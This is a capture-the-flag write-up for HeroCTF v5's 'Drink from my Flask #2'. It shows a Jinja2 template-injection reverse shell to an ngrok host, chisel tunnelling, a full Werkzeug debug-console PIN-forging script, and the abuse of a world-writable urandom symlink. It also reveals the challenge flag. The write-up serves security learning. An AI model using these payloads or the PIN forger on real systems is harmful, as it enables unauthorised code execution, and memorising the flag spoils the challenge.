# Drink from my Flask#2
## Background
Great job, you got acces to the machine ! But our dev has been working on an update. Can you leverage that to elevate your privileges ?   Format : **Hero{flag}**  Author : **Log_s**   NB: This challenge is a sequel to Drink from my Flask #1. Start the same machine and continue from there.
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513221205.png)
## Enumeration
**Remote Code Execute (RCE) via Server-Side Template Injection (SSTI) payload from "Drink from my Flask#1":** (Writeup: [https://siunam321.github.io/ctf/HeroCTF-v5/Web/Drink-from-my-Flask-1/](https://siunam321.github.io/ctf/HeroCTF-v5/Web/Drink-from-my-Flask-1/))
- Setup a port forwarding service like Ngrok:
```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:13:16(HKT)]└> ngrok tcp 4444[...]Forwarding                    tcp://0.tcp.ap.ngrok.io:15516 -> localhost:4444[...]```
- Setup a `nc` listener:
```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:19:07(HKT)]└> nc -lnvp 4444listening on [any] 4444 ...```
- Send the reverse shell payload:
```python{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(\"python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\\"0.tcp.ap.ngrok.io\\\",15516));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\\"/bin/bash\\\")'\").read() }}```
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513222858.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513222905.png)
```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:28:03(HKT)]└> nc -lnvp 4444listening on [any] 4444 ...connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 47154www-data@flask:~/app$ whoami;hostname;idwhoami;hostname;idwww-dataflaskuid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@flask:~/app$ ```
I'm `www-data`!
Now, let's enumerate the system!
**System users:**```shellwww-data@flask:~/app$ cat /etc/passwd | grep /bin/bashcat /etc/passwd | grep /bin/bashroot:x:0:0:root:/root:/bin/bashflaskdev:x:1000:1000:,,,:/home/flaskdev:/bin/bashwww-data@flask:~/app$ ls -lah /homels -lah /hometotal 12Kdrwxr-xr-x 1 root     root     4.0K May 13 03:17 .drwxr-xr-x 1 root     root     4.0K May 13 14:13 ..drwxr-xr-x 1 flaskdev flaskdev 4.0K May 13 03:17 flaskdev```
- System user: `flaskdev`
**Let's dig deeper into that user!**```shellwww-data@flask:~/app$ ls -lah /home/flaskdev/ls -lah /home/flaskdev/total 28Kdrwxr-xr-x 1 flaskdev flaskdev 4.0K May 13 03:17 .drwxr-xr-x 1 root     root     4.0K May 13 03:17 ..lrwxrwxrwx 1 root     root        9 May 13 03:17 .bash_history -> /dev/null-rw-r--r-- 1 flaskdev flaskdev  220 May 13 03:17 .bash_logout-rw-r--r-- 1 flaskdev flaskdev 3.7K May 13 03:17 .bashrc-rw-r--r-- 1 flaskdev flaskdev  807 May 13 03:17 .profile-r-------- 1 flaskdev flaskdev   31 May 13 03:17 flag.txt-rwxr-xr-x 1 root     root      219 May 12 10:17 reboot_flask.sh```
In that user's home directory, it has `flag.txt`, `reboot_flask.sh`.
**`reboot_flask.sh`:**```shif [ `ps -aux | grep -E ".*/usr/bin/python3 /var/www/dev/app.py" | wc -l` != "2" ]then    pkill python3 -U 1000    /usr/bin/python3 /var/www/dev/app.py # This dev app is not exposed, it's ok to run it as myself  fi```
This script will check the process of `/var/www/dev/app.py` is running or not.
If it's not running, then kill it's process and run `/usr/bin/python3 /var/www/dev/app.py`.
**`/var/www/dev/app.py`:**```pythonfrom flask import Flask, Request, Response, make_responsefrom flask import request, render_template_stringimport argparseimport jwtimport werkzeug
parser = argparse.ArgumentParser()parser.add_argument("--port", help="Port on which to run the server", required=False, type=int, default=5000)
app = Flask(__name__)
class middleware():    def __init__(self, app):        self.app = app
    def __call__(self, environ, start_response):        request = Request(environ)
        # Check for potential payloads in GET params        for key, value in request.args.items():            if len(value) > 50:                res = Response(u'Anormaly long payload', mimetype= 'text/plain', status=400)                return res(environ, start_response)
        # Check for potential payloads in route        if len(request.path) > 50:            res = Response(u'Anormaly long payload', mimetype= 'text/plain', status=400)            return res(environ, start_response)         return self.app(environ, start_response)
app.wsgi_app = middleware(app.wsgi_app)
def add(a, b):    return a + bdef substract(a, b):    return a - bdef multiply(a, b):    return a * bdef divide(a, b):    if b < 0:        return "Error: Division by zero"    return a / b
operations = {    "add": add,    "substract": substract,    "multiply": multiply,    "divide": divide}
def generateGuestToken():    return jwt.encode({"role": "guest"}, key="key", algorithm="HS256")
@app.route("/")def calculate():    token = request.cookies.get('token')    if token is None:        token = generateGuestToken()    try:        decodedToken = jwt.decode(token, key="key", algorithms=["HS256"])        decodedToken.get('role')    except:        token = generateGuestToken()
    # Check if operation is valid to avoid crashes !    op = request.args.get('op')    if op not in ["add", "substract", "multiply", "divide"]:        resp = make_response("<h2>Invalid operation</h2>Example: /?op=substract&n1=5&n2=2")        resp.set_cookie('token', token)        return resp     n1 = request.args.get('n1')    n2 = request.args.get('n2')    # Check if n1 and n2 are numbers, and prevent crashes ahah !    try:        n1 = int(n1)        n2 = int(n2)    except:        return "<h2>Invalid number</h2>"
Example: /?op=substract&n1=5&n2=2
    result = operations[op](n1, n2)
    resp = make_response(render_template_string(render_template_string("""        <h2>Result: {{ result }}</h2>    """, result=result)))
    resp.set_cookie('token', token)
    return resp
@app.route("/adminPage")def admin():
    # Get JWT token from cookies    token = request.cookies.get('token')
    # Decode JWT token    try:        decodedToken = jwt.decode(token, key="key", algorithms=["HS256"])    except:        return render_template_string("<h2>Invalid token</h2>"), 403     # Get role    role = decodedToken.get('role')    if role is None:        return render_template_string("<h2>Invalid token</h2>"), 403
    if role == "admin":        return render_template_string("Welcome admin !"), 200
    return render_template_string("Sorry but you can't access this page, you're a '{role}'", role=role), 403
@app.errorhandler(werkzeug.exceptions.BadRequest)def handle_page_not_found(e):    return render_template_string("<h2>{page} was not found</h2>Only routes / and /adminPage are available", page=request.path), 404
Only routes / and /adminPage are available
app.register_error_handler(404, handle_page_not_found)
app.run(debug=True, use_debugger=True, use_reloader=False, host="0.0.0.0", port=parser.parse_args().port)```
**Since I want a stable shell and transfering files between my VM and the instance machine, I'll switch to [`pwncat-cs`](https://github.com/calebstewart/pwncat):**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:49:10(HKT)]└> pwncat-cs -lp 4444/home/siunam/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated  'class': algorithms.Blowfish,[22:49:11] Welcome to pwncat ?!                                                            __main__.py:164[22:50:01] received connection from 127.0.0.1:35986                                              bind.py:84[22:50:05] localhost:35986: registered new host w/ db                                        manager.py:957(local) pwncat$                                                                                            (remote) www-data@flask:/var/www/app$ whoami;hostname;idwww-dataflaskuid=33(www-data) gid=33(www-data) groups=33(www-data)(remote) www-data@flask:/var/www/app$ ```
**Now, we can upload the `pspy` binary, which list out all the running processes:**```shell(local) pwncat$ upload /opt/pspy/pspy64 /tmp/pspy64/tmp/pspy64 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 3.1/3.1 MB • 3.5 MB/s • 0:00:00[22:52:14] uploaded 3.08MiB in 5.77 seconds                                                    upload.py:76(local) pwncat$                                                                                            (remote) www-data@flask:/var/www/app$ chmod +x /tmp/pspy64 (remote) www-data@flask:/var/www/app$ /tmp/pspy64[...]2023/05/13 14:53:01 CMD: UID=0    PID=496    | CRON -f 2023/05/13 14:53:01 CMD: UID=0    PID=497    | CRON -f 2023/05/13 14:53:01 CMD: UID=1000 PID=498    | /bin/sh /home/flaskdev/reboot_flask.sh 2023/05/13 14:53:01 CMD: UID=1000 PID=501    | grep -E .*/usr/bin/python3 /var/www/dev/app.py 2023/05/13 14:53:01 CMD: UID=1000 PID=500    | ps -aux 2023/05/13 14:53:01 CMD: UID=1000 PID=499    | /bin/sh /home/flaskdev/reboot_flask.sh 2023/05/13 14:53:01 CMD: UID=1000 PID=502    | wc -l 2023/05/13 14:54:01 CMD: UID=0    PID=503    | CRON -f 2023/05/13 14:54:01 CMD: UID=1000 PID=504    | CRON -f 2023/05/13 14:54:01 CMD: UID=1000 PID=505    | /bin/sh /home/flaskdev/reboot_flask.sh 2023/05/13 14:54:01 CMD: UID=1000 PID=506    | /bin/sh /home/flaskdev/reboot_flask.sh 2023/05/13 14:54:01 CMD: UID=1000 PID=509    | wc -l 2023/05/13 14:54:01 CMD: UID=1000 PID=508    | grep -E .*/usr/bin/python3 /var/www/dev/app.py 2023/05/13 14:54:01 CMD: UID=1000 PID=507    | ps -aux```
As you can see, every minute a cronjob will be ran, which executes `/bin/sh /home/flaskdev/reboot_flask.sh`.
**Now, which port is the development version of the web application is running?**
**Since `netstat`, `ss` doesn't exist on the instance machine, I'll upload `netstat` to there:**```shell(local) pwncat$ upload /usr/bin/netstat /tmp/netstat/tmp/netstat ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 155.3/155.3 KB • ? • 0:00:00[22:55:37] uploaded 155.30KiB in 2.91 seconds                                                  upload.py:76(local) pwncat$                                                                                            (remote) www-data@flask:/var/www/app$ chmod +x /tmp/netstat (remote) www-data@flask:/var/www/app$ /tmp/netstat -tunlp(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      9/python3           tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -                   tcp        0      0 127.0.0.11:41449        0.0.0.0:*               LISTEN      -                   udp        0      0 127.0.0.11:47134        0.0.0.0:*                           -                   ```
As you can see, **the development one is running on port 5000**.
```shell(remote) www-data@flask:/var/www/app$ curl http://localhost:5000/<h2>Invalid operation</h2>Example: /?op=substract&n1=5&n2=2```
Example: /?op=substract&n1=5&n2=2
**Let's compare the production one and the development one:**```diff┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|23:02:30(HKT)]└> diff dev_app.py prod_app.py 24c24<             if len(value) > 50:--->             if len(value) > 35: # 40 would be enough, but you never know, hein poda29c29<         if len(request.path) > 50:--->         if len(request.path) > 35:117c117<     return render_template_string("Sorry but you can't access this page, you're a '{role}'", role=role), 403--->     return render_template_string("Sorry but you can't access this page, you're a '{}'".format(role)), 403122c122,123<     return render_template_string("<h2>{page} was not found</h2>Only routes / and /adminPage are available", page=request.path), 404--->     html = "<h2>{page} was not found</h2>Only routes / and /adminPage are available".format(page=request.path)>     return render_template_string(html), 404127c128< app.run(debug=True, use_debugger=True, use_reloader=False, host="0.0.0.0", port=parser.parse_args().port)\ No newline at end of file---> app.run(host="0.0.0.0", port=parser.parse_args().port, debug=False, use_reloader=False)\ No newline at end of file```
Only routes / and /adminPage are available
Only routes / and /adminPage are available
**In the production one's SSTI exploit, it's fixed on the `/adminPage`, as the `role` will just render `{role}`.**```shell(remote) www-data@flask:/var/www/app$ curl -i -s -k -X $'GET' \>     -H $'Host: localhost:5000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \>     -b $'token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgc2VsZi5fVGVtcGxhdGVSZWZlcmVuY2VfX2NvbnRleHQuY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdpZCcpLnJlYWQoKSB9fSJ9.Ex_wow2iHjH97TNLAr0V-iO25-bnWc-prB3Bkw-KMDw' \>     $'http://localhost:5000/adminPage'HTTP/1.1 403 FORBIDDENServer: Werkzeug/2.3.4 Python/3.10.6Date: Sat, 13 May 2023 15:09:54 GMTContent-Type: text/html; charset=utf-8Content-Length: 55Connection: close
Sorry but you can't access this page, you're a '{role}'```
To access the development one, we must need to do port forwarding.
**To do so, I'll use `chisel`:**```shell(local) pwncat$ upload /opt/chisel/chiselx64./chiselx64 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 8.1/8.1 MB • 3.3 MB/s • 0:00:00[23:30:16] uploaded 8.08MiB in 9.85 seconds                                                    upload.py:76(local) pwncat$                                                                                            (remote) www-data@flask:/tmp$ chmod +x chiselx64 ```
**Reverse port fowarding in server:**```shell┌[siunam♥earth]-(/opt/chisel)-[2023.05.13|23:33:20(HKT)]└> ./chiselx64 server -p 4444 --reverse2023/05/13 23:33:23 server: Reverse tunnelling enabled2023/05/13 23:33:23 server: Fingerprint e64LBwv+C0Ou8eG0p91ZpOmnV58zy7yJQ+QVSwfpDgI=2023/05/13 23:33:23 server: Listening on http://0.0.0.0:4444```
**Connect to the server from the client:**```shell(remote) www-data@flask:/tmp$ ./chiselx64 client 0.tcp.ap.ngrok.io:18937 R:5001:127.0.0.1:5000&[1] 1062023/05/13 15:47:59 client: Connecting to ws://0.tcp.ap.ngrok.io:18937```
**Now we can visit the development one in `localhost:5001`:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513233530.png)
**After some testing, the 404 and admin page doesn't vulnerable to SSTI anymore:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513233708.png)
Hmm... How can we escalate our privilege to user `flaskdev`...
**In the development one, the `debug` mode is set to `True`!**
**In Flask, if debug mode is enabled, anyone can go to `/console`!**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513234845.png)
***This console page can execute any Python code!!***
**Although it's being locked by the PIN code, we can bypass that!**
In KnightCTF 2023, I wrote a writeup for a web challenge called "Knight Search": [https://siunam321.github.io/ctf/KnightCTF-2023/Web-API/Knight-Search/](https://siunam321.github.io/ctf/KnightCTF-2023/Web-API/Knight-Search/).
In that writeup, I mentioned how to bypass the PIN code.
**Boot ID:**```shell(remote) www-data@flask:/tmp$ cat /etc/machine-id 68f432c96a6d45f585a019af1ad31fc2```
**MAC address:**```shell(remote) www-data@flask:/tmp$ cat /sys/class/net/eth0/address 02:42:0a:63:64:02```
**Final public and private bits:**
-   Public bits:    -   username: `flaskdev`    -   modname: `flask.app`    -   `Flask`    -   The absolute path of `app.py` in the flask directory: `/usr/local/lib/python3.10/dist-packages/flask/app.py` (You can find this by triggering `ZeroDivisionError` via `/?op=divide&n1=0&n2=0`)-   Private bits:    -   MAC address: `2482665382914`    -   Machine ID: `68f432c96a6d45f585a019af1ad31fc2`
```py#!/bin/python3import hashlibfrom itertools import chain
probably_public_bits = [	'flaskdev',# username	'flask.app',# modname	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))	'/usr/local/lib/python3.10/dist-packages/flask/app.py' # getattr(mod, '__file__', None),]
private_bits = [	'2482665382914',# str(uuid.getnode()),  /sys/class/net/ens33/address 	# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup	'68f432c96a6d45f585a019af1ad31fc2']
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5for bit in chain(probably_public_bits, private_bits):	if not bit:		continue	if isinstance(bit, str):		bit = bit.encode('utf-8')	h.update(bit)h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = Noneif num is None:	h.update(b'pinsalt')	num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = Noneif rv is None:	for group_size in 5, 4, 3:		if len(num) % group_size == 0:			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')						  for x in range(0, len(num), group_size))			break	else:		rv = num
print("Pin: " + rv)```
However, it still doesn't work...
**In `/var/www`, I noticed something weird:**```shell(remote) www-data@flask:/var/www$ ls -lahtotal 20Kdrwxr-xr-x 1 root root 4.0K May 13 03:17 .drwxr-xr-x 1 root root 4.0K May 13 03:17 ..drwxr-xr-x 1 root root 4.0K May 13 03:17 appdrwxrwxrwx 1 root root 4.0K May 13 03:17 configdrwxr-xr-x 1 root root 4.0K May 13 03:17 dev```
The `config` directory is world-writable/readable/executable.
```shell(remote) www-data@flask:/var/www$ ls -lah config/total 8.0Kdrwxrwxrwx 1 root root 4.0K May 13 03:17 .drwxr-xr-x 1 root root 4.0K May 13 03:17 ..lrwxrwxrwx 1 root root   12 May 13 03:17 urandom -> /dev/urandom```
Inside that directory, it has a symbolic link (symlink) file pointing to `/dev/urandom`.
What can we do with that...
## Exploitation
**Then, I opened a ticket just to confirm the Werkzeug Debug Console is the right track or not:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230514202551.png)
So, 100% sure it's about Werkzeug Debug Console PIN code bypass...
**Hmm... Let's read through the generating PIN code source code:**```shell(remote) www-data@flask:/var/www/app$ (local) pwncat$ download /usr/local/lib/python3.10/dist-packages/werkzeug/debug/__init__.py```
**Then, around reading through it...**```pythonprivate_bits = [        str(uuid.getnode()),        get_machine_id(),        open("/var/www/config/urandom", "rb").read(16) # ADDING EXTRA SECURITY TO PREVENT PIN FORGING    ]```
**`/var/www/config/urandom`????**
That makes a lot more sense why the symlink `urandom` file exists!
The above modifiied `private_bits` not only getting the MAC address of the machine and machine ID, **but also 16 bytes from `/var/www/config/urandom`!**
**Now, since the directory `/var/www/config/` is world-writable, we can just modify it!**```shell(remote) www-data@flask:/var/www/app$ cd /var/www/config/(remote) www-data@flask:/var/www/config$ mv urandom urandom.bak(remote) www-data@flask:/var/www/config$ vi urandom(remote) www-data@flask:/var/www/config$ cat urandomAAAAAAAAAAAAAAAA```
The modified `/var/www/config/urandom` now consists 16's A character!
**Now, the correct private bits is!**```pythonprivate_bits = [	'2482665383426',# str(uuid.getnode()),  /sys/class/net/ens33/address 	# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup	'97752bf5a62a4e9588a4aa4ccf85660f',	'AAAAAAAAAAAAAAAA']```
> Note: The MAC address and machine ID is changed because of different instance machine.
```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.14|20:51:07(HKT)]└> python3 werkzeug-pin-bypass.pyPin: 103-934-238```
Fingers crossed!
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230514205727.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230514205736.png)
Let's go!!!
**We can now read user `flaskdev`'s flag!**```pythonimport osos.popen('id').read()os.popen('cat /home/flaskdev/flag.txt').read()```
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230514205832.png)
- **Flag: `Hero{n0t_s0_Urandom_4ft3r_4ll}`**
## Conclusion
What we've learned:
1. Werkzeug Debug Console PIN Code Bypass With Extra Hardening2. Horizontal Privilege Escalation Via Werkzeug Debug Console